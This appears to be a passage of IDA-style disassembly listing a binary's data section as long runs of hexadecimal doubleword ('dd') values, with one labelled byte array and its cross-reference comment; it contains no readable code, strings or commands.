dd 303B20A8h, 6151F586h, 0E700C5B3h, 492654ADh, 1F79AF23h
dd 0C07F3B2Ah, 29B0B40Ah, 5002CEDh, 0DAC5FB48h, 230DCBh
dd 3DD08316h, 815A17F8h, 10AC3C00h, 73B795DFh, 0F0F6BCh
dd 84A7BB61h
dd 6C85874Bh, 831DCD0Bh, 0B5F8202Bh, 602C7FE3h, 9C65117Ch
dd 0D800EE97h, 6DAABF67h, 58FAA163h, 17F7206h, 75D2EF6Ch
dd 0FC5B3396h, 7200BC43h, 30905D67h, 1D778754h, 0BE1DFDFFh
dd 0EC165F82h, 0F540D5A1h, 73043F20h, 988F2B48h, 46DC4CA0h
dd 528F801Ch, 0B9584A3h, 1A8016B8h, 0EFB6C081h, 99D2035Ch
dd 0D870206Dh, 14603AFh, 7FC50704h, 0BED4FFB8h, 9D04557Fh
dd 1E81E139h, 16CE0090h, 6D500FCAh, 1CC0E278h, 3DE88214h
dd 0FA0064BAh, 0D27C7948h, 74FDEE74h, 0ED7A04FCh, 0D0D03932h
dd 0B5E7448Ch, 0AAC32A00h, 0B3348673h, 8C2B595Fh, 176B7900h
dd 98586DFFh, 0B1004977h, 0A48CEEEAh, 263204F7h, 85E11h
dd 5130D855h, 0CCB03FDEh, 85DBD400h, 4E479B0Ch, 13E7A02Fh
dd 0D7380BAEh, 0D000A684h, 44403B08h, 994C8972h, 0C6B3005Fh
dd 0AA278343h, 90CC0032h, 0DDDCB776h, 600D2A1h, 6BC519D3h
dd 1EA519Ch, 0B720887Ah, 60245A78h, 0E100DDD0h, 0AA98E83h
dd 1DC6A1D0h, 809513DAh, 0F199BCAEh, 0B603218Ch, 0CBC337E1h
dd 0CD9C0017h, 0F8765BC7h, 0D503F0AAh, 6F0227EAh, 0F44000ABh
dd 519420Ah, 4A4B180Ch, 0D71E1805h, 1D23782Ch, 8FAC8C66h
dd 5FA0F59Dh, 5AB70314h, 0BB6CD01Eh, 569A7100h, 1F383274h
dd 584B332Bh, 72836608h, 0E9528C00h, 1CD91DEBh, 0E63C2E02h
dd 6C6E0048h, 0CF42D215h, 0DDD5A03Bh, 0B611004Ch, 48A4D165h
dd 97D603E9h, 0C3D8342Fh, 83E7393Bh, 93571D41h, 802FDF68h
dd 4ACB5B10h, 400530CAh, 0C11612C0h, 0E4005FE4h, 4DF346C9h
dd 0B45DBAh, 0AD37B70Ch, 0DCC4196Dh, 6EB17C1Eh, 3B9300F9h
dd 77C6CC64h, 34EA002Dh, 9B68C4Ch, 0C20E53EFh, 200FDE85h
dd 0D7CD1EB1h, 6541392Fh, 9F863800h, 2A2A17Ah, 0DAABC700h
dd 55A41116h, 408E0236h, 0C309E6AFh, 2A8D96C0h, 55F7401h
dd 0E748F6ABh, 7F378080h, 0E5FB841Ch, 7D17C400h, 2FC9F7C3h
dd 7EAB00B0h, 21C6EBE4h, 230094ACh, 71630EAAh, 0A84AB8h
dd 3FAF8F07h, 904741C1h, 0B934F100h, 0F06AE0B7h, 8E70057Dh
dd 80988297h, 17A00F00h, 0E7AE5600h, 91A1F249h, 575D0563h
dd 0C070BE7Fh, 22DD50E9h, 4E90180Bh, 0DE35816Eh, 6AD8B292h
dd 752B1F60h, 0CFA44279h, 5EC304EEh, 0B18CD7F8h, 9ABDDF1Eh
dd 1A49E1C0h, 5B630CE2h, 88D8A0B4h, 0FCE31801h, 9FDADE95h
dd 85115080h, 9E419A32h, 0E951E124h, 0ECD0AA00h, 9D7F8E02h
dd 5F4A8840h, 0ACC44Ch, 0B9E635D1h, 0F43746h, 6D80FD7Dh
dd 0FB28D8Eh, 29228B12h, 6BE33600h, 0E42EBAADh, 4BABFh
dd 9EDB4835h, 7DF1290h, 0E1B88600h, 87F40BB9h, 69893h
dd 8C6977F7h, 0E36CE225h, 27F1DA03h, 8099E6B0h, 7C677960h
dd 4B7C0065h, 9D07C655h, 3816F1B6h, 0E23Dh, 0E853F697h
dd 0E16C0C3Ch, 95192C50h, 80172228h, 8FAF3Ch, 0A2A4620Ch
dd 5C15A743h, 900C446h, 0ADD77B86h, 8892DB88h, 0D440DC4Ah
dd 6B14CB03h, 96AF7AD0h, 65970018h, 540F40CFh, 9C0F2490h
dd 60FD9170h, 0B7AAA17Ch, 2E5F00B4h, 0D667C562h, 0E40522DEh
dd 940F65DDh, 0C2940Eh, 966330Ch, 1F30711h, 906ECFh, 38FCBC5Dh
dd 63DDCB0h, 0D5198254h, 400D346Ah, 5B9620Bh, 2BF3633Bh
dd 0C9B1C1A3h, 72504108h, 7A0A08F1h, 6ABD005Bh, 56AE07F6h
dd 0D1077804h, 46F8540Bh, 8110A050h, 280C0063h, 0BF6FEBBBh
dd 40006E5Fh, 9A51E4Ah, 0E4F0388h, 9C22A22Dh, 8E5FD9A0h
dd 292E8D49h, 8A034058h, 0A1CC47C9h, 50707BC5h, 0BDB0066h
dd 0C1BB9A26h, 6E28461Ah, 0B71D8EECh, 6A5FF3D8h, 0E3FCCB40h
dd 38AB6833h, 7004037h, 90813C38h, 0ED3BF1D5h, 40C5D79h
dd 4666450Fh, 218D5107h, 602D9D4Bh, 60005688h, 65EF16E3h
dd 16AAF103h, 0ED87A7h, 31518E0Ch, 6300D8DCh, 0F725E9C9h
dd 1E0F87Ch, 295236E8h, 0D8D31B83h, 0B001F2FDh, 27D728C1h
dd 15E02CC8h, 0E47097h, 7148CB33h, 2EF97D5Ch, 7807194Fh
dd 4C72DF22h, 8F74C8B6h, 394E380Ah, 0F9820D00h, 5DE77375h
dd 810EDCEAh, 405B7C21h, 0C0118B2h, 7A6A7E26h, 71E9E09Bh
dd 699E0027h, 0E757A8ADh, 0A6010ECEh, 0E431D999h, 0E0D87748h
dd 0B65938F5h, 0C3D8160h, 0AC251830h, 0F5448290h, 385007h
dd 78D31711h, 7A33502Bh, 8551AD04h, 0D0A41BF1h, 1CB850B5h
dd 0B94A040Bh, 80C20C08h, 0BD463D2Fh, 0BF055504h, 8C01651h
dd 62CB27h, 0D3C1F11Eh, 7F99B558h, 3DA46400h, 0A78730F4h
dd 50370282h, 32913B8Dh, 2494585Ah, 78E61803h, 9707C63h
dd 0DF68AE88h, 620B5C64h, 6E945Ah, 0DA915338h, 40E9DEFFh
dd 81BF4421h, 41CF62B3h, 60B05C0Ah, 74D49Ah, 6FE7A2E2h
dd 0BDA0DF24h, 0CE30F507h, 2140B264h, 74F9854h, 0A2BA9203h
dd 0B3F4F0C9h, 13F2EC1Ch, 0ED0434E0h, 10660677h, 75491140h
dd 2D165793h, 0D8035B09h, 0E1C203h, 53456D68h, 0EA8A5F17h
dd 5E63CD00h, 194EAF2Dh, 9D3818DFh, 78C929E4h, 0B3D483h
dd 0FE433CA8h, 0A0F8404Fh, 67B46F6Dh, 0AFF29300h, 8ADFB0CCh
dd 0C4995C21h, 0F67EDD04h, 3A5CC0C0h, 8318BE70h, 0D71057CCh
dd 2CAD7E2Bh, 24EA26h, 7997F323h, 50EF53B6h, 0DAA8098Ch
dd 45047CFAh, 6AD9F927h, 23F54A0h, 48CCD83Dh, 34C0A360h
dd 4D00AF27h, 255F812Eh, 58216908h, 1C4C97CBh, 7A378400h
dd 24E35C04h, 0A602B000h, 6E1EA75Eh, 99B60081h, 0CB44FB5Ah
dd 448FC9Ah, 0D1DA00E4h, 0E8B27168h, 94C00721h, 30312074h
dd 890C0B86h, 99D19600h, 0FE675381h, 7ACCFACEh, 4EB31E0Dh
dd 823540E4h, 8905C0F3h, 5731F503h, 0A0FA49C4h, 7837AAABh
dd 0C742000Fh, 14E8E278h, 17125976h, 9C00F331h, 0C0B34E3Bh
dd 279B0045h, 461F5138h, 0F10032B4h, 1202B10h, 0E3F2978Ch
dd 1E7BD6F4h, 405F9AFBh, 0E8FAF663h, 95036128h, 0E384A0E2h
dd 803DBA80h, 0DFD4CEE4h, 0BD5F173Eh, 806F1D2Dh, 0DAB14FC0h
dd 0A2039363h, 426F11CEh, 0A430033Bh, 4F70A1DCh, 1ECA7B98h
dd 8C38AC00h, 73259DAFh, 72EE005Ah, 2D08C396h, 9A0015B2h
dd 7999B3DBh, 0C91556Ch, 14F9C22Ch, 8A003118h, 1237F6D5h
dd 46284h, 0A7D0D8A9h, 885C427h, 0F809FD71h, 0EE81FAh
dd 0ABDD0504h, 0AE4800ECh, 36CFD802h, 631ED599h, 0B54147C0h
dd 0BED3B30Ch, 335BF8h, 0CDEC68BAh, 0A0691E6Bh, 93228200h
dd 4CEDDA9Eh, 461B07E5h, 0D01FCCB5h, 71DEC27Fh, 0C1882100h
dd 9980181Eh, 26440711h, 0E16AA2E7h, 80072D9Fh, 0F9156230h
dd 1D674191h, 4074A185h, 1E4CE4C9h, 721D64A0h, 834315CCh
dd 86B492h, 0D9673520h, 0E7B26353h, 436A5513h, 0E9DAFF03h
dd 0F0919857h, 0BD7607B5h, 10BC8799h, 4C24C3FDh, 80B14201h
dd 0AE27A878h, 6188E4h, 0B74AD596h, 580AFE82h, 0CE5FD800h
dd 7B10DEBFh, 0FDF600CFh, 0B883688Fh, 49001CE3h, 32C16E95h
dd 245A45E9h, 8CF517h, 624CB38Ch, 390081ABh, 6C674D2Fh
dd 3D5E4472h, 388074DBh, 3BA860D2h, 4100FBDDh, 1C482406h
dd 54EDCh, 80AC4AC5h, 0EA379AE6h, 0EC6D6E00h, 860DDE57h
dd 0DB58004Dh, 0D1B9764Eh, 29B8726Fh, 0A203D578h, 59461697h
dd 0AF90D03Bh, 454B3094h, 0BE8B7010h, 76000798h, 0BD0B3641h
dd 0A4E4E3h, 19AC25A3h, 0F215C18Ch, 3B924600h, 0AF1C7D54h
dd 0C2F30024h, 0DB87014Ah, 0F1000FBEh, 39EB2665h, 0F8281Dh
dd 0A5BBAE97h
dd 31C6DE5Fh, 0AFCBA712h, 72178F00h
db 75h
byte_530055 db 5Dh, 9Ah, 3Ch ; DATA XREF: ___:off_437DC4o
; ___:off_437DDCo
dd 933EFEF4h, 2B7A7100h, 1F7677AEh, 0CE795800h, 0F144B6B8h
dd 0E00500C7h, 0B4130A9Dh, 0A000879Bh, 7A0F0721h, 491B91h
dd 81B9B316h, 0ECF92B60h, 0D8ED2200h, 0A10E9990h, 0BF9B00D1h
dd 0FDB3834Ch, 285EE4DDh, 9CFCB0h, 1495EF1Eh, 0F5F9390Ch
dd 1F29E607h, 0A510F097h, 0C3ACDDFBh, 12CB3AB1h, 0D944C1F8h
dd 0BA315000h, 78649456h, 778D7E85h, 0D6230068h, 4BB9C604h
dd 2D00BF65h, 0E4EAC51Eh, 48555491h, 99005060h, 0B8738C4Ch
dd 0F11D6D98h, 4AC0075Fh, 727CA503h, 0EA3F004Fh, 0D7CBEFB5h
dd 9D3D1DE6h, 616780ECh, 0C5F37B63h, 0CA8F01ADh, 96DE8381h
dd 0BC92C01Eh, 9F57E71Fh, 6B000024h, 15060A90h, 22730068h
dd 0E50B6E49h, 424CD865h, 0B62B03A7h, 983B5185h, 4CA16321h
dd 0B1001402h, 0A275036Dh, 0C4481A36h, 0C5037198h, 0AF921D12h
dd 6415D0C6h, 0C76483Bh, 91FB0375h, 29B332FDh, 3C8F7A8h
dd 0DEC93801h, 0AF66DCB0h, 0C0790DF0h, 0D90491D0h, 13FAB9CCh
dd 3C094000h, 8D88B49Bh, 0DE7027h, 263A495h, 0C19E2F9Ah
dd 0C072C400h, 447ADBC7h, 31F4FDEBh, 0FEE21293h, 0F04400EEh
dd 0DA339BCEh, 2DD0EF03h, 0E1456B57h, 5F30F21Bh, 5827009Fh
dd 0CEF4664Dh, 4724E513h, 0A800D440h, 16E939C5h, 6CF80343h
dd 0DB662EABh, 0D65FB1D0h, 90F6C414h, 6D550080h, 7DA9A357h
dd 9D08187Fh, 1B7318B8h, 0C7197778h, 0FB10F3FFh, 601A2C00h
dd 206DEB30h, 0C09C1985h, 0EF1DC230h, 84E373E9h, 577DD918h
dd 6FA04A0Eh, 0CF0B9DD1h, 48B7DE06h, 3506C1Dh, 5A377240h
dd 0F015C504h, 3CCBEE9h, 0C749371h, 3F68026Ch, 0C5D63272h
dd 525B5C81h, 0D5619854h, 3EEE6458h, 9D01BB3Ch, 0BD0D0AC9h
dd 920E7E3Bh, 7F65A0EBh, 0E7CBCCh, 4E59FA32h, 6AAA766Ch
dd 0F9DFF000h, 645AC1CEh, 0F1730029h, 4D32BBA9h, 9D02074Ch
dd 0C3B9A396h, 21A040AEh, 1DF700E8h, 0D0AC1309h, 4D1E3D48h
dd 9DDDC4CCh, 0C0843F8Eh, 9895477Ah, 733200CAh, 938CBFAh
dd 7700DEE9h, 8A969B17h, 4D427EDBh, 500084F2h, 2BDF7926h
dd 1C2A0807h, 9008CD0h, 489A8BB4h, 0ABD55EBh, 0A976FBF0h
dd 78C200CCh, 88F518DAh, 5D0529FCh, 8B206EE8h, 8948481h
dd 76811880h, 0F33D70B7h, 0E03C31F9h, 2878B9D8h, 8583CB00h
dd 69A0429Bh, 6FC0A8AAh, 71F4031Ch, 959D97AEh, 0F8B284A8h
dd 730CBD78h, 28A076A9h, 0F0C0F6Dh, 0C49CBAD5h, 9047FF8Eh
dd 81F74D08h, 0A16ED590h, 9CDA8068h, 1558A10h, 2ACA4BEBh
dd 0E0898F98h, 8DF2DB6Fh, 0F0F7692Ah, 9E1C301Ch, 8447030h
dd 526731D1h, 0ACC72858h, 9D00C871h, 0D9EB4C20h, 120B785Bh
dd 4B8142h, 0CC734750h, 0DA2430D3h, 8782302Dh, 8FA93906h
dd 0D43C4448h, 0EDFC2220h, 308598A0h, 6C861324h, 0E8E7C88Ch
dd 101BEB1Bh, 0B0E1A939h, 13C04194h, 0C9482093h, 0DED8DA15h
dd 0AF6E0CCCh, 0FCC21851h, 0A8DD4842h, 0EE79AA87h, 0E44722E0h
dd 1772CABEh, 21C048E8h, 8DAF61DCh, 59AB0396h, 0D45A1473h
dd 8909A028h, 31841050h, 0E07A1C19h, 80F6C418h, 0A6066E84h
dd 0A09169h, 64141190h, 0E10C1F0Eh, 82A739Ch, 1721CE85h
dd 2B401420h, 22EAC80Fh, 0C007A030h, 0D1D870E3h, 0C21DDCF9h
dd 643994B4h, 0BBAF4280h, 0CA436F22h, 0F31E10h, 6BAF4AD7h
dd 0EABD74h, 4D895E86h, 0B69D6021h, 0F19CB20h, 0F0E6CA50h
dd 708DC066h, 0BC4907F6h, 0C50A0F20h, 0F2FC06A1h, 0FD870F98h
dd 8EC0E76Ah, 5602DDB9h, 3FCA20F3h, 8666C100h, 0F79D27CBh
dd 9ECA07BBh, 402E3DAEh, 0C25C3919h, 23164300h, 39F14FDh
dd 7D1A0006h, 0FFAE9C51h, 1F14B2BEh, 11143039h, 2F1115E9h
dd 0BE13086Ch, 0C6E504B1h, 3B55042Eh, 52887B42h, 2197C702h
dd 22FF8B0h, 118123A1h, 0EB3705C8h, 0FD1A2500h, 61B09097h
dd 0A50D3BECh, 450094D8h, 0BE41B94Ch, 23959F5h, 0A05480C8h
dd 1FD10F4Dh, 86EEF7h, 7CA9F2B7h, 0FBD580C0h, 1DF4FA07h
dd 57E1A2A0h, 0B4401E3Dh, 760BCBFh, 0FDE4BA67h, 402797F0h
dd 0DE7CFF6Fh, 55963F00h, 0F5B8B0BBh, 26FA2Ch, 0C47AAA84h
dd 0A75F4860h, 69190460h, 94931Ah, 3B089B62h, 4E461249h
dd 0EDBE800h, 0C44FC7A2h, 0E1671C40h, 0B9390028h, 1C04AC16h
dd 22FF9400h, 0D318F546h, 0AA50C08Ah, 0EDB97251h, 2C417000h
dd 11CBD212h, 0CE173C5Bh, 3C13EF9Fh, 0DA6F8980h, 1A28D67h
dd 8E004CEEh, 0FB6ED505h, 0DE69E2C6h, 0F1598010h, 2DAA574Bh
dd 7400A979h, 4522416Ah, 14AED61h, 4218944Fh, 0F85B3DE6h
dd 0FB017E1Eh, 0DAAA3111h, 0C0EA052Ch, 0F4DE08h, 0BADCAB01h
dd 8E6D603Ah, 391C0700h, 0A554D959h, 776B00E7h, 0FDA99B44h
dd 7F006A5Fh, 0DF379F16h, 14C34AAh, 0B07107FBh, 70E1DE8Ch
dd 6A0047F8h, 5B53961Dh, 0D13AAEh, 0C88EB070h, 743EB227h
dd 0C09DA900h, 2FCBB4A0h, 351D0047h, 0A4C104F4h, 9B00A82Ah
dd 0C369239Fh, 0FC78034Fh, 2F220F91h, 0C03F385Bh, 0D8190CD0h
dd 0E8079ADDh, 28CBC67Dh, 6F5D7BB0h, 0AFDA002Eh, 3F8560A4h
dd 107FB732h, 6B008390h, 44EDF811h, 2CC775Ch, 0EAB43450h
dd 8C804B8Ah, 976B16A7h, 63583300h, 50440C8Dh, 479A0083h
dd 7D3CF5E5h, 803DF35Ch, 31340035h, 0FF88C429h, 3A7F00B9h
dd 67A954CCh, 8300D45Eh, 4CBE1C5Ch, 1D9C2B8Bh, 0E82D91E2h
dd 4A7F00D4h, 0BA8A460Ch, 0EE00C1C4h, 5F2E1390h, 0C8C9F0h
dd 3C214B69h, 0CEFF0444h, 57235300h, 0C0C41F14h, 50B400AAh
dd 6E49195Eh, 2F3A40F0h, 39471DACh, 922536C0h, 1C85893Dh
dd 0E1D929h, 0CC08F31Bh, 681D9ECDh, 67CE8D90h, 63C90089h
dd 0CE737Dh, 5E486237h, 8DEB2F1Ah, 0D6E2E000h, 3F9956Eh
dd 98C11DC5h, 0B06282CCh, 9880B509h, 5AD2ADF1h, 8058073Dh
dd 9FEF20C5h, 2883A6Ah, 2180C4BEh, 2D402246h, 0B000A9C2h
dd 0F302CBF9h, 0F62BE904h, 3E4B3D25h, 98129Fh, 269981E5h
dd 0EC25B50Dh, 0C617E06Eh, 498C01CDh, 1DD04D54h, 0D04FFD2Fh
dd 707E9D5h, 0D899060Dh, 0C66430D0h, 0CF490F8Eh, 0BE409AB7h
dd 71DD83FFh, 0FA133F00h, 2D5785DBh, 71A49030h, 83230054h
dd 672FC493h, 0E8A011C7h, 101C7619h, 0BF2B2Ch, 8998A0BAh
dd 0E7F1856h, 43357DBEh, 0BCD83BECh, 9407C1FAh, 2A13FF4Ch
dd 45F138B0h, 17EA00A7h, 0FB3A2CB1h, 0D5131637h, 0B000FC4Bh
dd 4889D0CBh, 0A38CC03Ch, 1BAFEAC6h, 85443E00h, 5E344547h
dd 0F69600A9h, 80A58BC0h, 2015E068h, 7A48D75h, 0DC24CC87h
dd 0A58C0049h, 98B34Bh, 0A3FC4C80h, 96D642ACh, 6ACE48h
dd 0D9E93FC9h, 0C025E7A9h, 0A9FAD30h, 5300E098h, 5036961Eh
dd 98D34B27h, 65B77E96h, 6328B4h, 0F6DED6E8h, 61006B9Ch
dd 1EC803A8h, 7314BA7h, 99884358h, 0FF08A0B5h, 290E0745h
dd 6FBA1BACh, 0FEECE0C9h, 136E77F0h, 3019398h, 0B6D64D94h
dd 22E91800h, 10E63C23h, 0B559019Fh, 0DF5F3F75h, 8EE3F4A6h
dd 0AC0B6AD3h, 39AB80A8h, 3AA17E01h, 0B280B425h, 0DFE18A06h
dd 93189614h, 0B710188Eh, 3AB40052h, 916AE7EBh, 3F00FBB9h
dd 0D44631D3h, 31DBF8Fh, 67DDE36Eh, 0ABC0956Ah, 8900810Bh
dd 92D70C43h, 1877EC7Dh, 89593385h, 0BF00D9D2h, 0C7AF38B4h
dd 4AF3B8h, 0B6887344h, 15E33EEDh, 35541F00h, 21E103C2h
dd 4F900Ah, 374FEC2Ah, 68C9AFA3h, 6569F900h, 55546B38h
dd 456F0FE0h, 0FDE05B1Dh
dd 0C5C22C11h, 0B24C7600h, 0C8D328FBh, 63A800D2h, 1F7B7CCEh
dd 9B48BF37h, 67650089h, 0E6DB0D22h, 0B1DA008Bh, 3EF814EDh
dd 84A0F642h, 410024ACh, 0A5C29369h, 2E3F2162h, 0CF9198Eh
dd 84D80B5Fh, 66BBA200h, 0EACD91DAh, 23EF0099h, 0EBDE9D34h
dd 0B7008893h, 0E66042E5h, 4CB18EE1h, 913B5E6Ah, 0AEB87980h
dd 161FF306h, 8E7E5200h, 9434E04Bh, 492F0096h, 2630F13Ch
dd 64005F77h, 4A1B2D13h, 0A022F67Ah, 0C07DD8B0h, 599D9189h
dd 0F00080B0h, 0BE6C55C1h, 3F113F05h, 74854BE8h, 8F5D7Dh
dd 15873997h, 0B82843E3h, 0F16F096h, 9D008365h, 0A44EAD1Fh
dd 7E5C008Fh, 3E01E63Ah, 0EF000431h, 20F3249Bh, 1FBBF82Fh
dd 3DCBC46Fh, 59312100h, 83D7578Eh, 35628800h, 0BC6DFA1h
dd 9B9D3FC7h, 956700F2h, 0CC4614A2h, 791E5277h, 724062B5h
dd 4BFC8069h, 53AD48C4h, 6F2E4400h, 831DB0A3h, 0A5C6F100h
dd 0EADD3B45h, 90540006h, 47EE91C3h, 8903BBA1h, 27F8F5FFh
dd 7F11D080h, 7D330020h, 5332B222h, 18605E92h, 2639E3F8h
dd 64DF2421h, 98A80708h, 19F4E074h, 0FF008180h, 0C5DE82C4h
dd 7694F236h, 0F3A075Eh, 106BDA4Eh, 0F6B42BC9h, 0D24400Eh
dd 81AA40ADh, 76808A8h, 0C1055645h, 0E9D87043h, 0A50ED03Eh
dd 0C90A12B7h, 0FD7C00BAh, 63C672h, 0E189FFF6h, 974DA406h
dd 8F5E9A00h, 519484FAh, 412F0021h, 8E5D99Dh, 9101E6F4h
dd 6FA4D176h, 54208A1Ch, 4083009Eh, 14B9ACCDh, 490066FDh
dd 12C561A3h, 36460Eh, 0CA4045CEh, 0A118D15Ch, 65D34E06h
dd 12409080h, 7C366B9h, 0C17F1DE0h, 0C150AA5Bh, 8D34C4E6h
dd 3E99F200h, 0A001CD8Fh, 56AD00C9h, 391AE8CFh, 2001FEAFh
dd 0A81749B9h, 3CE896AAh, 0CE2803B6h, 7AE7472Ah, 646372F0h
dd 40AC500h, 653E27C9h, 688076Bh, 6A8440BDh, 549400C8h
dd 0AF3CE5Eh, 8059083Fh, 0F270A21Ah, 99B43F93h, 11C30814h
dd 0D5734E00h, 0C06C3260h, 37EB9640h, 254C7B67h, 8EA40088h
dd 877BBBFh, 0D80F0FB7h, 5C9DE9Eh, 5751E803h, 0CDD76698h
dd 80D9383Bh, 7310CCA5h, 25A6EEh, 566B8EBCh, 0D093B8C2h
dd 6A07F4EFh, 67014Ch, 3297A5B6h, 79F12Dh, 0C8371691h
dd 6ED20FC5h, 789EEC0Ah, 0D900F51Fh, 7970A5B9h, 9ED0468h
dd 0C1C2F127h, 30886D00h, 840787C8h, 8F6A19DBh, 6143A4BFh
dd 0D10907h, 2712F83Ah, 592E691Fh, 2889FAC0h, 73CB44F0h
dd 67DC00C2h, 0F3BFC9FEh, 0E40322D0h, 0AF66465h, 9BEC00Ch
dd 92A80012h, 197830E8h, 0A2FE3B2Eh, 201A60Eh, 448F0013h
dd 7150F5h, 3111E2Dh, 0AF4AB2BAh, 0CEBDC500h, 3D38CBC2h
dd 0B9E000ADh, 0A59355BBh, 49061B43h, 4A78A79Ch, 0FE7FE40h
dd 6A5C326Eh, 0E33589FCh, 0E864F8A6h, 8A009B7Bh, 29F5D0B0h
dd 0D276D4h, 5F78CB24h, 56B1BAD8h, 0D7D93Ch, 72F5D127h
dd 8DC4CAh, 0B0A02865h, 8AF6AC6h, 64C85500h, 0EB0CD46Fh
dd 686738DBh, 9779F8Eh, 0E8F8032Ch, 0B0C4E900h, 0FFBB6DCh
dd 0F7CD005Ah, 0AC33062Ch, 0E3005004h, 0F2F86E1Bh, 393065B8h
dd 0FF804771h, 568BB93h, 5F04BA4Ah, 0AD8C7AA4h, 0D8F2CCC0h
dd 0ED98A7h, 16AA40C9h, 7050D97Bh, 0A1E5A200h, 4A363DC6h
dd 0B2B0F2Fh, 1F20DA01h, 0B25A6004h, 8F64A600h, 5F5B55F1h
dd 209CB28Ah, 6800DA39h, 0ED172F57h, 0BDD350h, 0F4F15BB3h
dd 6081204Dh, 0A2CFD401h, 0AED2E9BAh, 7641830h, 6E9DC16Bh
dd 0C07E8010h, 1703B145h, 0F975493Bh, 1668725Ah, 0D3DDD8h
dd 0C96E2373h, 46C4702Eh, 0E880F922h, 0FC33651h, 0DC9A345Ah
dd 452DF041h, 82DEC027h, 5501D47Eh, 0AE8F2080h, 0F7C1A36Dh
dd 7B37FE4h, 0F0EBC066h, 591BC15Bh, 9052C003h, 0D9992000h
dd 0DCD42AC2h, 1CE27806h, 4FB438EBh, 1100083Bh, 92B8D525h
dd 125BCA03h, 0A037CFE1h, 1B0E595h, 0FD2DED0Eh, 30629F70h
dd 0BF1F98E3h, 0DC00B910h, 0A126AD43h, 173600A4h, 710740C6h
dd 2C00E619h, 0B076E14Ah, 41A8D5h, 0F0613C5Eh, 8A850A56h
dd 0B305FC07h, 29D3C17Ch, 8B6F066h, 0FD8F1EF2h, 0F8E4CDh
dd 63271458h, 35093383h, 5608FFh, 1EFB8633h, 43EE02C6h
dd 98B81CF7h, 0EBDCC4C1h, 0A9487DE8h, 3427A600h, 0EBA46DC9h
dd 67D90984h, 8F5FA2C3h, 6877A067h, 7FAB0807h, 2F6758Dh
dd 365CD1B4h, 5E0B5AEh, 31385E2Ch, 886E84D5h, 74C07226h
dd 278DDA0h, 412B3993h, 804365E3h, 904DAC98h, 2079B71Ch
dd 89EA807Fh, 5FE1178Dh, 1342646h, 0CF150074h, 577A372Dh
dd 852C100h, 6F7C1C4Eh, 0EF7200A5h, 7890AE02h, 48241598h
dd 43001C5Dh, 71E0F940h, 13B751Eh, 0BD78E567h, 0DCF08813h
dd 9500C69Dh, 860634C5h, 7D4C159Ah, 0E46200AEh, 0BD6CB12Fh
dd 40008ECFh, 0E1FB656Eh, 4C9945FCh, 0CD00CC16h, 1A80628Fh
dd 0E900F361h, 7095B19Fh, 5566C01h, 0CAD1ABB9h, 998D1D7h
dd 0EE7820C8h, 9BFE7607h, 9AB736ACh, 0DF68B10h, 0E72B06D6h
dd 28C94B28h, 198A7401h, 1EE98CFh, 19834CF1h, 0A12A189Bh
dd 2D4ED198h, 0C764BF6h, 7D054501h, 0D080DD4Dh, 89E2B840h
dd 49C100B2h, 0D8A48CBCh, 0BA0F2986h, 6F852460h, 7BBD6159h
dd 3C6095A5h, 0E4144C8Eh, 38DC5h, 5E0699BCh, 0AA30DADFh
dd 6B0C5817h, 612AF205h, 0DC5D39A2h, 88BAC421h, 7F4D2900h
dd 282E13D7h, 2A84058Fh, 0AEBB80h, 0DD21FD90h, 0F359CC9Ch
dd 0AA1F0460h, 84C0B4D5h, 6A9E41h, 0C03611D2h, 0B728C703h
dd 20551018h, 39991968h, 0EC80DC3Ch, 808314CCh, 4008121h
dd 0F9FB95F7h, 3A734Dh, 4E655D3Ch, 0E7DD44BDh, 0C79D5609h
dd 4BD30061h, 0E6A332h, 8A427E57h, 195F630Dh, 0C248207Ah
dd 43BD0048h, 0FD5A3FAEh, 0FB8B049Fh, 8097555Fh, 0AB334194h
dd 246012E0h, 95340A10h, 71B000B9h, 0F93951D0h, 22029796h
dd 0F1497338h, 9EC841BDh, 28D28C48h, 7CA4AB5Fh, 9C9F0C33h
dd 0AE108277h, 8169E83Dh, 859A6E63h, 3C645534h, 0BF990093h
dd 8810F642h, 8F0AD8F1h, 98A16459h, 0D58CDF00h, 94FC248Ah
dd 0DB980094h, 0BD69AB5Ah, 0EB53DE0Ch, 42643Dh, 0C42CC0E7h
dd 1050FA2Eh, 0B7326117h, 0A00E412h, 8FD423A4h, 0D3302EC9h
dd 698B0008h, 34ED6059h, 0F143C807h, 5EA06E18h, 2683BEC1h
dd 1DD040B1h, 19AB00A5h, 0AA7D281Dh, 2CC66B00h, 0B34145E4h
dd 0C9690E97h, 6580409Ch, 2AD10305h, 0D21CB403h, 0A8FE0B25h
dd 623F3C3h, 345CA110h, 6B0FF884h, 63253E02h, 0D03BBC69h
dd 6281521h, 849E6281h, 761CAAAEh, 0F7C0770Dh, 5ACCDBC1h
dd 464A0068h, 0E3B78C58h, 0F0FDAB0h, 0C5016D35h, 5CC0EE2Eh
dd 13E21ADh, 0E1E2699Eh, 0E01F77FAh, 1724BDC3h, 0AB00F089h
dd 0DE8696A4h, 1F55757Ch, 1FAE6Ch, 6D0D3E94h, 0EC008F8Bh
dd 9B8D6993h, 24DA9E24h, 74D702h, 53177E71h, 7724EA50h
dd 6940ACFAh, 0EB6ED0h, 7316888Bh, 8538A9E7h, 7D908949h
dd 96D00402h, 0E063ADD6h, 12AC59A4h, 0FF9D02h, 1D07CF38h
dd 0F5603855h, 9FA3F21h, 0B50F00DFh, 0D6402D5Ch, 0BC01AE88h
dd 0EB6F65F2h, 1C858BEh, 222C927Bh, 1D2421A4h, 0C700B88Bh
dd 0FCEA0365h, 4478036Ch, 4E921B9Ch, 83A791F1h, 4C3E1E98h
dd 0C757C093h, 6F37440h, 1A2F54EFh, 69008866h, 6F89A50Eh
dd 0FCAFDFh, 0F9F4790Bh, 0BA332744h, 0F400E2D7h, 104B76B8h
dd 61B70068h, 990D2A14h
dd 6B004CB4h, 0FB1B08E6h, 8C1FC2h, 0E5F81D3h, 0DA23D910h
dd 4C51D602h, 0C2858A5Ah, 0B9B8E05Dh, 8DA100A6h, 0DFFF50E4h
dd 7CFCFEFDh, 4059500h, 5E0844B1h, 0ABAF2542h, 8FC02C80h
dd 0E8FC59CFh, 3DAC1D0Bh, 8B9C0071h, 258A30h, 68070103h
dd 2760D6C5h, 0FADE1102h, 689772E0h, 0ADE940h, 0DBB44820h
dd 6341B77Fh, 0DD7BF809h, 0F3AC0093h, 0F7222Bh, 0ED95BC6Ch
dd 0D1C2C823h, 0FECEB609h, 6030011Fh, 0D8CD699Dh, 6808D9F3h
dd 0A240FE31h, 0E96A8A5h, 72633421h, 0E422C0DFh, 9EB9AA5Ah
